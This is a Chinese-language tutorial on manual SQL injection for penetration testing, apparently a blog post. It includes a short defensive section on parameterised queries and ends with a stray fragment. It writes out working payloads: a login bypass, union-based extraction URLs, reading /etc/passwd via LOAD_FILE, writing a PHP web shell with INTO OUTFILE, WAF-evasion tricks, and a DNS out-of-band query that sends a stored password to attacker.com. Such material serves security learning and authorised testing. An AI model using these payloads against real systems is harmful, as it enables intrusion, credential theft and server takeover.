1. SQL手工注入基础概念解析
SQL手工注入是一种通过构造特殊SQL语句来绕过应用程序安全机制的技术手段。与自动化工具不同，手工注入需要测试者手动构造payload并观察系统响应，这种方式的优势在于能够更精准地控制注入过程，适用于复杂场景下的渗透测试。
1.1 注入原理与危害分析
SQL注入漏洞产生的根本原因是程序没有对用户输入进行充分过滤和转义，导致攻击者能够将恶意SQL代码"注入"到原始查询中。以一个典型的登录场景为例：
SELECT * FROM users WHERE username='$user' AND password='$pass'如果应用程序直接将用户输入拼接到SQL语句中，攻击者可以输入admin'--作为用户名，构造出：
SELECT * FROM users WHERE username='admin'--' AND password=''--在SQL中表示注释，这使得密码验证被完全绕过。更严重的注入可能导致：
- 数据库信息泄露（表结构、数据内容）
- 系统文件读取/写入
- 服务器权限获取
- 数据库服务器沦陷
1.2 注入类型分类体系
根据注入结果的表现形式，SQL注入主要分为两大类：
显注型注入：
- 错误信息直接显示在页面上
- 可通过union查询直接获取数据
- 典型特征：页面会返回数据库报错信息
盲注型注入：
- 布尔盲注：通过页面返回的真/假状态判断注入结果
- 时间盲注：通过响应延迟判断注入是否成功
- 典型特征：页面无直接数据返回，需要通过间接方式判断
2. 手工注入核心流程详解
2.1 注入点探测与验证
基础探测方法：
- 单引号测试：在参数后添加
'观察是否报错http://example.com/news.php?id=1' - 逻辑测试：使用
and 1=1和and 1=2验证http://example.com/news.php?id=1 and 1=1 http://example.com/news.php?id=1 and 1=2
注入类型判断：
- 数字型：参数直接参与运算，无需引号闭合
SELECT * FROM articles WHERE id=1 - 字符型：参数用引号包裹，需要闭合构造
SELECT * FROM users WHERE username='admin'
2.2 信息收集技术
数据库指纹识别：
/* MySQL */ SELECT @@version /* MSSQL */ SELECT @@VERSION /* Oracle */ SELECT * FROM v$version关键系统表利用：
- MySQL的
information_schema数据库包含：TABLES：存储所有表信息COLUMNS：存储所有列信息SCHEMATA：存储数据库信息
实用查询示例：
-- 获取所有数据库名 SELECT schema_name FROM information_schema.schemata -- 获取指定数据库的表 SELECT table_name FROM information_schema.tables WHERE table_schema='目标数据库' -- 获取表的列信息 SELECT column_name FROM information_schema.columns WHERE table_name='目标表'3. 高级注入技术与实战案例
3.1 联合查询注入实战
完整攻击链示例：
- 确定列数（通过order by）
http://example.com/news.php?id=1 order by 5--+ - 确定回显位
http://example.com/news.php?id=-1 union select 1,2,3,4,5--+ - 获取数据库信息
http://example.com/news.php?id=-1 union select 1,database(),user(),version(),5--+ - 提取表数据
http://example.com/news.php?id=-1 union select 1,table_name,3,4,5 from information_schema.tables where table_schema='目标数据库'--+
3.2 文件操作技术
文件读取条件：
- 数据库用户有FILE权限
- 知道文件绝对路径
- secure_file_priv参数允许
典型payload：
SELECT LOAD_FILE('/etc/passwd') UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5--+文件写入技巧：
SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'注意：文件操作需要特别注意权限问题，不同数据库系统的语法也有差异
4. 防御方案与最佳实践
4.1 安全编码原则
参数化查询（最有效防御手段）
# Python示例 cursor.execute("SELECT * FROM users WHERE username=%s", (user_input,))输入验证：
- 白名单验证（推荐）
- 类型强制转换
- 长度限制
最小权限原则：
- 数据库用户只赋予必要权限
- 禁止使用root/sa等高权限账户
4.2 WAF绕过思路
常见WAF检测特征：
- 敏感关键词（union、select、information_schema等）
- 特殊字符频率（单引号、注释符）
- 异常请求参数
绕过技术示例：
- 大小写混合：
SeLeCt - 内联注释：
/*!SELECT*/ - 字符编码：
%27代替单引号 - 空白符变异：
SEL%0aECT
5. 实战经验与深度思考
5.1 常见问题排查
注入无回显情况处理：
- 尝试基于错误的注入
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) - 使用外带技术（DNS/OOB）
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))
特殊字符过滤绕过：
- 空格过滤：用
/**/或%0a代替 - 逗号过滤：使用
JOIN语法替代UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b
5.2 性能优化技巧
二分法加速盲注：
AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>128利用缓存减少请求：
- 优先获取表结构而非全量数据
- 只提取关键表（如users、admin）
多线程注入：
- 同时测试多个字符位置
- 使用工具实现并发请求
在实际渗透测试中，手工注入的价值在于其精确性和可控性。我曾在一次银行系统的授权测试中发现，自动化工具无法识别的复杂过滤机制，通过手工构造的混淆payload成功绕过。关键是要理解目标系统的过滤逻辑，有针对性地调整注入策略。
 agent和组件)